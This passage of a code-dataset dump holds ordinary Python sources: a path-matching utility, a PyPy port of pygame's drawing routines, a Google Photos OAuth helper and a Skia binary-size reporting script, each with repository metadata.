self.p.join(*srcs, diff, winroot)\n    \n    def hook(self: PathFinder, fn: Callable, src: Union[str, Path]) -> Any:\n\n        return self.p.hook(fn, src)\n\n    #****************************************************************************************************************#\n    #*                                                                                                              *#\n    #* methods from MagicPath, Exclude Methods escape, unescape, shift                                              *#\n    #*                                                                                                              *#\n    #****************************************************************************************************************#\n\n    def __nosupports(self: PathFinder, name: Union[str, Callable] = \"this func\") -> None:\n\n        if callable(name):\n\n            name = name.__name__\n\n        if self.p.is_diff(System.Windows if self.p.is_win() else System.Other):\n\n            raise ValueError(f\"PathFinder: {name} not support for different platform\")\n\n    def match(self: PathFinder, src: Union[str, Path], callback: Callable, depth: int = 0) -> None:\n\n        self.__nosupports(self.match)\n\n        self.matchdir(src, lambda dst: self.matchbase(dst, callback), depth)\n\n    def match_hook(self: PathFinder, fn: Callable, src: Union[str, Path], depth: int = 0) -> None:\n\n        # self.match(src, lambda x: self.p.hook(fn, x), depth)\n        self.p.hook(lambda x: self.match(x, fn, depth), src)\n\n    def matchbase(self: PathFinder, src: Union[str, Path], callback: Callable) -> Any:\n\n        self.__nosupports(self.match)\n\n        if isinstance(src, Path):\n\n            src = src.src\n\n        if self.p.is_abspath(src):\n\n            if os.path.exists(src):\n\n                if callable(callback):\n\n                    callback(src)\n                \n                return\n\n            cdir: str\n            cbase: str\n            cdir, cbase = os.path.split(src)\n\n            pathl: pl.Path = pl.Path(cdir)\n\n            if pathl.exists():\n\n                zbase: str\n\n                for p in pathl.iterdir():\n\n                    zbase = os.path.basename(p.as_posix())\n\n                    if zbase.lower() == cbase.lower():\n\n                        if callable(callback):\n\n                            callback(os.path.join(cdir, zbase))\n\n                        return\n\n        return\n\n    def matchbase_hook(self: PathFinder, fn: Callable, src: Union[str, Path]) -> None:\n\n        # self.matchbase(src, lambda x: self.p.hook(fn, x))\n        self.p.hook(lambda x: self.matchbase(x, fn), src)\n\n    def matchdir(self: PathFinder, src: Union[str, Path], callback: Callable, depth: int = 0) -> Any:\n\n        self.__nosupports(self.match)\n\n        if not self.p.is_abspath(src):\n\n            src = self.p.abspath(src)\n\n        paths: List[str] = [p.src for p in self.p.split(src)]\n\n        self.__find_depth(\n            src=paths,\n            callback=callback,\n            depth=depth,\n            safe=MemorizeBoolean()\n        )\n\n    def matchdir_hook(self: PathFinder, fn: Callable, src: Union[str, Path], depth: int = 0) -> None:\n\n        # self.matchdir(src, lambda x: self.p.hook(fn, x), depth)\n        self.p.hook(lambda x: self.matchdir(src, x, depth), src)\n\n    def __find_depth(self: PathFinder, src: List[str], callback: Callable, depth: int = 0, cdepth: int = 0, max_time_recursion: int = 0, i: int = 0, safe: MemorizeBoolean = MemorizeBoolean()) -> Any:\n\n        #* stop recursion\n        if safe: return\n\n        #* safety check\n        if self.MAX_TIME_RECURSION <= max_time_recursion: return\n\n        c: str\n        c = self.p.join(*tuple(src[i] for i in range(i))).src\n\n        n: int\n        n = len(src)\n\n        m: int\n        m = self.MAX_DEPTH or depth\n\n        if n > i:\n\n            if c == \"\":\n\n                c = self.p.abspath(\n                    self.p.get_root(\"/\")\n                ).src\n\n            cdir: str\n            cbase: str\n            cdir, cbase = os.path.split(c)\n            \n            pathl: pl.Path = pl.Path(cdir)\n\n            if pathl.exists():\n\n                if not cbase:\n\n                    if self.p.is_root(cdir):\n\n                        self.__find_depth(src, callback, depth, cdepth + 1, max_time_recursion + 1, i + 1)\n                        \n                        return\n\n                zbase: str\n\n                # zfind: bool\n                # zfind = False\n\n                for pp in pathl.iterdir():\n\n                    if pp.is_dir():\n\n                        zbase = os.path.basename(pp.as_posix())\n\n                        if zbase.lower() == cbase.lower():\n\n                            # zfind = True\n\n                            #* change dirname to currentdir in system\n                            src[i - 1] = zbase\n\n                            #* maximum depth\n                            if m > 0 and m < cdepth:\n\n                                #* refresh path as string\n                                c = self.p.join(*tuple(src[i] for i in range(i))).src\n\n                                if not safe:\n\n                                    if callable(callback):\n\n                                        callback(c)\n\n                                safe.setval(True)\n\n                                return\n\n                            self.__find_depth(src, callback, depth, cdepth + 1, max_time_recursion + 1, i + 1)\n                            \n                            # return\n                \n                # if not zfind:\n\n                #     if callable(callback):\n\n                #         callback(c)\n\n                #     return\n\n        else:\n\n            if not safe:\n\n                if callable(callback):\n\n                    callback(c)\n\n            safe.setval(True)\n            \n            return\n", "repo_name": "skulluglify/magicpath", "sub_path": "pathfinder.py", "file_name": "pathfinder.py", "file_ext": "py", "file_size_in_byte": 10056, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.Any", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.TypeVar", "line_number": 16, "usage_type": "call"}, {"api_name": "typing.TypeVar", "line_number": 17, "usage_type": "call"}, {"api_name": "typing.TypeVar", "line_number": 19, "usage_type": "call"}, {"api_name": "singletons.PathFinderType", "line_number": 42, "usage_type": "name"}, {"api_name": "magicpath.MagicPath", "line_number": 59, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 67, "usage_type": "name"}, {"api_name": "magicpath.MagicPath", "line_number": 70, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 90, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 90, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "platform.system", "line_number": 108, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 110, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 110, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 114, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 114, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 122, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.Generator", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 126, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 126, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 134, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 134, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 138, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 138, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 142, "usage_type": "name"}, {"api_name": "singletons.System", "line_number": 142, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 146, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 146, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 150, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 150, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 154, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 154, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 154, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 154, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 164, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 164, "usage_type": "name"}, {"api_name": "singletons.System.Windows", "line_number": 170, "usage_type": "attribute"}, {"api_name": "singletons.System", "line_number": 170, "usage_type": "name"}, {"api_name": "singletons.System.Other", "line_number": 170, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 174, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 174, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 174, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 180, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 180, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 180, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 185, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 185, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 185, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 189, "usage_type": "argument"}, {"api_name": "os.path.exists", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path", "line_number": 195, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 205, "usage_type": "call"}, {"api_name": "os.path", "line_number": 205, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 207, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path", "line_number": 215, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 221, "usage_type": "call"}, {"api_name": "os.path", "line_number": 221, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 185, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 227, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 227, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 227, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 232, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 232, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 232, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 240, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 232, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 249, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 249, "usage_type": "name"}, {"api_name": "singletons.Path", "line_number": 249, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 254, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 254, "usage_type": "name"}, {"api_name": "os.path.split", "line_number": 281, "usage_type": "call"}, {"api_name": "os.path", "line_number": 281, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 283, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 304, "usage_type": "call"}, {"api_name": "os.path", "line_number": 304, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 254, "usage_type": "name"}]}
{"seq_id": "28225308608", "text": "from pygame.surface import locked\r\nfrom pygame.color import create_color\r\nfrom pygame.rect import Rect\r\nfrom pygame._sdl import sdl, ffi\r\nimport pygame.surface\r\n\r\n\r\ndef _check_surface(surface):\r\n    if not isinstance(surface, pygame.surface.Surface):\r\n        raise TypeError(\"First argument must be a Surface.\")\r\n    # TODO: depth check.\r\n\r\n\r\ndef _check_point(point, msg=\"points must be number pairs\"):\r\n    if not (hasattr(point, '__iter__') and len(point) == 2\r\n            and all(isinstance(p, int) for p in point)):\r\n        raise TypeError(msg)\r\n    return point\r\n\r\n\r\ndef _check_and_filter_points(points, minlen=1):\r\n    if not hasattr(points, '__iter__'):\r\n        raise TypeError(\"points argument must be a sequence of number pairs\")\r\n\r\n    if len(points) < minlen:\r\n        raise ValueError(\"points argument must contain %s or more points\" % (\r\n            minlen,))\r\n\r\n    _check_point(points[0])\r\n\r\n    filtered = []\r\n    for point in points:\r\n        try:\r\n            x, y = _check_point(point)\r\n        except TypeError:\r\n            # Silently skip over bad points, because pygame does. :-(\r\n            continue\r\n        filtered.append((x, y))\r\n    return filtered\r\n\r\n\r\ndef _make_drawn_rect(points, surface):\r\n    rect = surface.get_clip()\r\n    left = max(rect.left, min(p[0] for p in points))\r\n    right = min(rect.right, max(p[0] for p in points))\r\n    top = max(rect.top, min(p[1] for p in points))\r\n    bottom = min(rect.bottom, max(p[1] for p in points))\r\n    return Rect(left, top, right - left + 1, bottom - top + 1)\r\n\r\n\r\n_CLIP_LEFT = 1\r\n_CLIP_RIGHT = 2\r\n_CLIP_TOP = 4\r\n_CLIP_BOTTOM = 8\r\n\r\n\r\ndef _outcode(rect, x, y):\r\n    code = 0\r\n    if x < rect.left:\r\n        code |= _CLIP_LEFT\r\n    elif x >= rect.right:\r\n        code |= _CLIP_RIGHT\r\n    if y < rect.top:\r\n        code |= _CLIP_TOP\r\n    elif y >= rect.bottom:\r\n        code |= _CLIP_BOTTOM\r\n    return code\r\n\r\n\r\ndef _clipline(rect, start, end):\r\n    # Cohen-Sutherland algorithm\r\n    x0, y0 = start\r\n    x1, y1 = end\r\n\r\n    left = rect.left\r\n    right = rect.right - 1\r\n    top = rect.top\r\n    bottom = rect.bottom - 1\r\n\r\n    out0 = _outcode(rect, x0, y0)\r\n    out1 = _outcode(rect, x1, y1)\r\n\r\n    while True:\r\n        if not (out0 | out1):\r\n            return (x0, y0), (x1, y1)\r\n        elif (out0 & out1):\r\n            return None, None\r\n\r\n        if not out0:\r\n            x0, x1 = x1, x0\r\n            y0, y1 = y1, y0\r\n            out0, out1 = out1, out0\r\n\r\n        m = 1.0\r\n        if x0 != x1:\r\n            m = float(y1 - y0) / float(x1 - x0)\r\n\r\n        if out0 & _CLIP_LEFT:\r\n            y0 += int(m * (left - x0))\r\n            x0 = left\r\n\r\n        elif out0 & _CLIP_RIGHT:\r\n            y0 += int(m * (right - x0))\r\n            x0 = right\r\n\r\n        elif out0 & _CLIP_TOP:\r\n            if x0 != x1:\r\n                x0 += int((top - y0) / m)\r\n            y0 = top\r\n\r\n        elif out0 & _CLIP_BOTTOM:\r\n            if x0 != x1:\r\n                x0 += int((bottom - y0) / m)\r\n            y0 = bottom\r\n\r\n        out0 = _outcode(rect, x0, y0)\r\n\r\n\r\ndef _drawhorizline(surface, c_color, start_x, end_x, y):\r\n    \"\"\"Draw a horizontal line using SDL_FillRect\"\"\"\r\n    sdlrect = ffi.new('SDL_Rect*')\r\n    if start_x > end_x:\r\n        end_x, start_x = start_x, end_x\r\n    sdlrect.x = start_x\r\n    sdlrect.y = y\r\n    sdlrect.w = end_x - start_x + 1\r\n    sdlrect.h = 1\r\n    sdl.SDL_FillRect(surface._c_surface, sdlrect, c_color)\r\n\r\n\r\ndef _drawvertline(surface, c_color, start_y, end_y, x):\r\n    \"\"\"Draw a vertical line using SDL_FillRect\"\"\"\r\n    sdlrect = ffi.new('SDL_Rect*')\r\n    if start_y > end_y:\r\n        end_y, start_y = start_y, end_y\r\n    sdlrect.x = x\r\n    sdlrect.y = start_y\r\n    sdlrect.w = 1\r\n    sdlrect.h = end_y - start_y + 1\r\n    sdl.SDL_FillRect(surface._c_surface, sdlrect, c_color)\r\n\r\n\r\ndef _drawline(surface, c_color, start, end):\r\n    # Bresenham algorithm (more or less as approximated by pygame)\r\n    x0, y0 = start\r\n    x1, y1 = end\r\n\r\n    if x0 == x1:\r\n        _drawvertline(surface, c_color, y0, y1, x0)\r\n        return\r\n    if y0 == y1:\r\n        _drawhorizline(surface, c_color, x0, x1, y0)\r\n        return\r\n\r\n    # Because of how we approximate pygame's pointer\r\n    # arthimetic, we don't handle the ends of the lines\r\n    # the same way - this fakes it\r\n    surface._set_at(x0, y0, c_color)\r\n    surface._set_at(x1, y1, c_color)\r\n    steep = False\r\n    if abs(y1 - y0) > abs(x1 - x0):\r\n        steep = True\r\n        x0, y0 = y0, x0\r\n        x1, y1 = y1, x1\r\n    dx = abs(x1 - x0) + 1\r\n    dy = abs(y1 - y0) + 1\r\n    ystep = 1 if y0 < y1 else -1\r\n    xstep = 1 if x0 < x1 else -1\r\n    y = y0\r\n    error = 0\r\n    for x in range(x0, x1, xstep):\r\n        if steep:\r\n            surface._set_at(y, x, c_color)\r\n        else:\r\n            surface._set_at(x, y, c_color)\r\n        error = error + dy\r\n        if error >= dx:\r\n            y += ystep\r\n            error -= dx\r\n\r\n\r\ndef _clip_and_draw_line(surface, c_color, start, end):\r\n    # rect = surface.get_clip().inflate(-60, -60)\r\n    # start, end = _clipline(rect, start, end)\r\n    start, end = _clipline(surface.get_clip(), start, end)\r\n    if start is None:\r\n        return False\r\n\r\n    _drawline(surface, c_color, start, end)\r\n    return True\r\n\r\n\r\ndef _clip_and_draw_line_width(surface, c_color, width, start, end):\r\n    x0, y0 = start\r\n    x1, y1 = end\r\n\r\n    xinc = yinc = 0\r\n    if abs(x1 - x0) > abs(y1 - y0):\r\n        yinc = 1\r\n    else:\r\n        xinc = 1\r\n\r\n    # XXX: Instead of getting the minimum and maximum for each direction (which\r\n    #      we do here), pygame gets the minimum of the start coords and the\r\n    #      maximum of the end coords. I think we're right, but we should maybe\r\n    #      match what pygame does instead even though it's more of a pain to\r\n    #      implement.\r\n\r\n    points = set()\r\n    p0 = (x0, y0)\r\n    p1 = (x1, y1)\r\n    if _clip_and_draw_line(surface, c_color, p0, p1):\r\n        points.update((p0, p1))\r\n\r\n    for i in xrange(width / 2):\r\n        p0 = (x0 + xinc * (i + 1), y0 + yinc * (i + 1))\r\n        p1 = (x1 + xinc * (i + 1), y1 + yinc * (i + 1))\r\n        if _clip_and_draw_line(surface, c_color, p0, p1):\r\n            points.update((p0, p1))\r\n        # When the width is odd, we only draw the +xinc case\r\n        # on the last pass through the loop\r\n        if (2 * i + 2 < width):\r\n            p0 = (x0 - xinc * (i + 1), y0 - yinc * (i + 1))\r\n            p1 = (x1 - xinc * (i + 1), y1 - yinc * (i + 1))\r\n            if _clip_and_draw_line(surface, c_color, p0, p1):\r\n                points.update((p0, p1))\r\n\r\n    if points:\r\n        # points would be empty if nothing was drawn\r\n        return _make_drawn_rect(points, surface)\r\n    return None\r\n\r\n\r\ndef line(surface, color, start, end, width=1):\r\n    _check_surface(surface)\r\n    c_color = create_color(color, surface._format)\r\n\r\n    _check_point(start, \"Invalid start position argument\")\r\n    _check_point(end, \"Invalid end position argument\")\r\n\r\n    [start] = _check_and_filter_points([start])\r\n    [end] = _check_and_filter_points([end])\r\n\r\n    if width < 1:\r\n        return Rect(start, (0, 0))\r\n\r\n    with locked(surface._c_surface):\r\n        drawn = _clip_and_draw_line_width(surface, c_color, width, start, end)\r\n\r\n    if drawn is None:\r\n        return Rect(start, (0, 0))\r\n    return drawn\r\n\r\n\r\ndef lines(surface, color, closed, points, width=1):\r\n    _check_surface(surface)\r\n    c_color = create_color(color, surface._format)\r\n    points = _check_and_filter_points(points, 2)\r\n    drawn_points = set()\r\n\r\n    with locked(surface._c_surface):\r\n        start_point = points[0]\r\n        for point in points[1:]:\r\n            drawn = _clip_and_draw_line_width(\r\n                surface, c_color, width, start_point, point)\r\n            if drawn is not None:\r\n                drawn_points.add(drawn.topleft)\r\n                drawn_points.add(drawn.bottomright)\r\n            start_point = point\r\n\r\n        if closed and len(points) > 2:\r\n            _clip_and_draw_line_width(\r\n                surface, c_color, width, points[-1], points[0])\r\n\r\n    return _make_drawn_rect(drawn_points, surface)\r\n\r\n\r\ndef _draw_fillpoly(surface, points, c_color):\r\n    # Very traditional scanline fill approach\r\n    # (also the approach used by pygame)\r\n    ys = [p[1] for p in points]\r\n    miny = min(ys)\r\n    maxy = max(ys)\r\n    times = []\r\n    # For speed reasons, we integrate clipping into the calculations,\r\n    # rather than calling _clip_and_draw_line\r\n    clip_rect = surface.get_clip()\r\n    all_points = zip(points, points[-1:] + points[:-1])\r\n    for y in range(miny, maxy + 1):\r\n        if y < clip_rect.top or y >= clip_rect.bottom:\r\n            continue\r\n        intercepts = []\r\n        for p1, p2 in all_points:\r\n            if p1[1] == p2[1]:\r\n                # Edge of the polygon, so skip (due to division by 0)\r\n                continue\r\n            elif p1[1] < p2[1]:\r\n                x1, y1 = p1\r\n                x2, y2 = p2\r\n            else:\r\n                x1, y1 = p2\r\n                x2, y2 = p1\r\n\r\n            if not (y1 <= y < y2) and not (y == maxy and y1 < y <= y2):\r\n                continue\r\n            # XXX: Here be dragons with very sharp teeth\r\n            # C99 specifies truncates integer division towards zero always,\r\n            # python integer division takes the floor, so they differ\r\n            # on negatives\r\n            numerator = (y - y1) * (x2 - x1)\r\n            if numerator < 0:\r\n                # N.B. order matters - force the postive division before\r\n                # multiplication by -1\r\n                x = -1 * (-numerator / (y2 - y1)) + x1\r\n            else:\r\n                x = numerator / (y2 - y1) + x1\r\n            # This works because we're drawing horizontal lines\r\n            if x < clip_rect.left:\r\n                x = clip_rect.left\r\n            elif x >= clip_rect.right:\r\n                x = clip_rect.right - 1\r\n            intercepts.append(x)\r\n        intercepts.sort()\r\n        for x1, x2 in zip(intercepts[::2], intercepts[1::2]):\r\n            _drawhorizline(surface, c_color, x1, x2, y)\r\n\r\n\r\ndef polygon(surface, color, points, width=0):\r\n    _check_surface(surface)\r\n\r\n    if width != 0:\r\n        return lines(surface, color, 1, points, width)\r\n\r\n    c_color = create_color(color, surface._format)\r\n    points = _check_and_filter_points(points, 3)\r\n\r\n    with locked(surface._c_surface):\r\n        _draw_fillpoly(surface, points, c_color)\r\n\r\n    return _make_drawn_rect(points, surface)\r\n\r\n\r\ndef rect(surface, color, rect, width=0):\r\n    if not isinstance(surface, pygame.surface.Surface):\r\n        raise TypeError(\"First argument must be a Surface.\")\r\n\r\n    rect = Rect(rect)\r\n    l = rect.x\r\n    r = rect.x + rect.w - 1\r\n    t = rect.y\r\n    b = rect.y + rect.h - 1\r\n\r\n    points = ((l, t), (r, t), (r, b), (l, b))\r\n    return polygon(surface, color, points, width)\r\n", "repo_name": "danomagnum/fallingsand", "sub_path": "pygame_pypy/draw.py", "file_name": "draw.py", "file_ext": "py", "file_size_in_byte": 10804, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.surface.surface", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.surface", "line_number": 9, "usage_type": "name"}, {"api_name": "pygame.rect.Rect", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame._sdl.ffi.new", "line_number": 121, "usage_type": "call"}, {"api_name": "pygame._sdl.ffi", "line_number": 121, "usage_type": "name"}, {"api_name": "pygame._sdl.sdl.SDL_FillRect", "line_number": 128, "usage_type": "call"}, {"api_name": "pygame._sdl.sdl", "line_number": 128, "usage_type": "name"}, {"api_name": "pygame._sdl.ffi.new", "line_number": 133, "usage_type": "call"}, {"api_name": "pygame._sdl.ffi", "line_number": 133, "usage_type": "name"}, {"api_name": "pygame._sdl.sdl.SDL_FillRect", "line_number": 140, "usage_type": "call"}, {"api_name": "pygame._sdl.sdl", "line_number": 140, "usage_type": "name"}, {"api_name": "pygame.color.create_color", "line_number": 236, "usage_type": "call"}, {"api_name": "pygame.rect.Rect", "line_number": 245, "usage_type": "call"}, {"api_name": "pygame.surface.locked", "line_number": 247, "usage_type": "call"}, {"api_name": "pygame.rect.Rect", "line_number": 251, "usage_type": "call"}, {"api_name": "pygame.color.create_color", "line_number": 257, "usage_type": "call"}, {"api_name": "pygame.surface.locked", "line_number": 261, "usage_type": "call"}, {"api_name": "pygame.color.create_color", "line_number": 334, "usage_type": "call"}, {"api_name": "pygame.surface.locked", "line_number": 337, "usage_type": "call"}, {"api_name": "pygame.surface.surface", "line_number": 344, "usage_type": "attribute"}, {"api_name": "pygame.surface", "line_number": 344, "usage_type": "name"}, {"api_name": "pygame.rect.Rect", "line_number": 347, "usage_type": "call"}]}
{"seq_id": "15582943462", "text": "import pathlib\nfrom httplib2 import Http\nfrom typing import List\n\nimport googleapiclient.discovery as gdiscovery\nfrom oauth2client import client\nfrom oauth2client.file import Storage\n\n\ndef get_authorized_service(\n        client_path: str,\n        credential_path: str,\n        logger\n) -> gdiscovery.Resource:\n    \"\"\" Google Photosの認証を実行\n    \"\"\"\n    SCOPES = ['https://www.googleapis.com/auth/photoslibrary']\n    API_SERVICE_NAME = 'photoslibrary'\n    API_VERSION = 'v1'\n\n    credentials = None\n    if pathlib.Path(credential_path).exists():\n        storage = Storage(credential_path)\n        credentials = storage.get()\n\n    if credentials is None or credentials.invalid:\n        credentials = _get_credentials_file(\n            client_path,\n            SCOPES,\n            credential_path,\n            logger\n        )\n\n    return gdiscovery.build(\n        API_SERVICE_NAME,\n        API_VERSION,\n        http=credentials.authorize(Http())\n    )\n\n\ndef _get_credentials_file(\n    client_file_path: str,\n    scopes: List[str],\n    credentials_file_path: str,\n    logger\n) -> client.OAuth2Credentials:\n    \"\"\" credentialsファイルを生成する\n    \"\"\"\n    flow = client.flow_from_clientsecrets(\n        client_file_path,\n        scope=scopes,\n        redirect_uri='urn:ietf:wg:oauth:2.0:oob'\n    )\n    auth_uri = flow.step1_get_authorize_url()\n\n    logger.info(f'Open below URL by browser: {auth_uri}')\n    token = input(\"Input your code: \")\n\n    credentials = flow.step2_exchange(token)\n    Storage(credentials_file_path).put(credentials)\n\n    return credentials\n", "repo_name": "iimuz/til", "sub_path": "python/upload_to_google_photos/google_oauth2.py", "file_name": "google_oauth2.py", "file_ext": "py", "file_size_in_byte": 1579, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pathlib.Path", "line_number": 22, "usage_type": "call"}, {"api_name": "oauth2client.file.Storage", "line_number": 23, "usage_type": "call"}, {"api_name": "googleapiclient.discovery.build", "line_number": 34, "usage_type": "call"}, {"api_name": "googleapiclient.discovery", "line_number": 34, "usage_type": "name"}, {"api_name": "httplib2.Http", "line_number": 37, "usage_type": "call"}, {"api_name": "googleapiclient.discovery.Resource", "line_number": 14, "usage_type": "attribute"}, {"api_name": "googleapiclient.discovery", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 43, "usage_type": "name"}, {"api_name": "oauth2client.client.flow_from_clientsecrets", "line_number": 49, "usage_type": "call"}, {"api_name": "oauth2client.client", "line_number": 49, "usage_type": "name"}, {"api_name": "oauth2client.file.Storage", "line_number": 60, "usage_type": "call"}, {"api_name": "oauth2client.client.OAuth2Credentials", "line_number": 46, "usage_type": "attribute"}, {"api_name": "oauth2client.client", "line_number": 46, "usage_type": "name"}]}
{"seq_id": "21126936609", "text": "from __future__ import print_function\nimport csv\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\n\n\ndef main():\n  input_file = sys.argv[1]\n  out_dir = sys.argv[2]\n  keystr = sys.argv[3]\n  propstr = sys.argv[4]\n  bloaty_path = sys.argv[5]\n  total_size_bytes_key = sys.argv[6]\n  magic_seperator = sys.argv[7]\n\n  results = {\n    'key': { },\n    'results': { }\n  }\n\n  props = propstr.split(' ')\n  for i in range(0, len(props), 2):\n    results[props[i]] = props[i+1]\n\n  keys = keystr.split(' ')\n  for i in range(0, len(keys), 2):\n    results['key'][keys[i]] = keys[i+1]\n\n  # Human \"readable\" overview as an FYI.\n  print(magic_seperator)\n  print('Note that template instantiations are grouped together, '\n        'thus the elided types.')\n  print(subprocess.check_output([bloaty_path, input_file,\n                                 '-d', 'sections,shortsymbols', '-n', '200']))\n  print(' ')\n\n  sections = subprocess.check_output([bloaty_path, input_file, '-d',\n                                      'sections', '-n', '0', '--csv'])\n\n  name = os.path.basename(input_file)\n\n  r = {\n    # Use the default config as stats about the whole binary\n    'default' : {\n      total_size_bytes_key: os.path.getsize(input_file)\n    },\n  }\n\n  # report section by section data. Sections are like .text, .data, etc.\n  for section_row in sections.strip().split('\\n'):\n    # Follows schema sections,vmsize,filesize\n    parts = section_row.split(',')\n    if len(parts) < 3 or parts[0] == 'sections':\n      # If we see section, that's the table header\n      continue\n    section = parts[0]\n    # part[1] is \"VM Size\", part[2] is \"File Size\". From the bloaty docs:\n    # The \"VM SIZE\" column tells you how much space the binary will take\n    # when it is loaded into memory. The \"FILE SIZE\" column tells you about\n    # how much space the binary is taking on disk.\n    vmsize = parts[1]   # In bytes\n    filesize = parts[2] # In bytes\n    section = re.sub('[^0-9a-zA-Z_]', '_', section)\n    r['section'+section] = {\n      'in_file_size_bytes': int(filesize),\n      'vm_size_bytes': int(vmsize),\n    }\n\n  print(magic_seperator)\n  results['results'][name] = r\n\n  # Make debugging easier\n  print(json.dumps(results, indent=2))\n\n  with open(os.path.join(out_dir, name+'.json'), 'w') as output:\n    output.write(json.dumps(results, indent=2))\n\n\nif __name__ == '__main__':\n  main()\n", "repo_name": "google/skia", "sub_path": "infra/bots/buildstats/buildstats_cpp.py", "file_name": "buildstats_cpp.py", "file_ext": "py", "file_size_in_byte": 2359, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8112, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 17, "usage_type": "attribute"}, {"api_name": "subprocess.check_output", "line_number": 36, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.getsize", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 66, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 79, "usage_type": "call"}]}
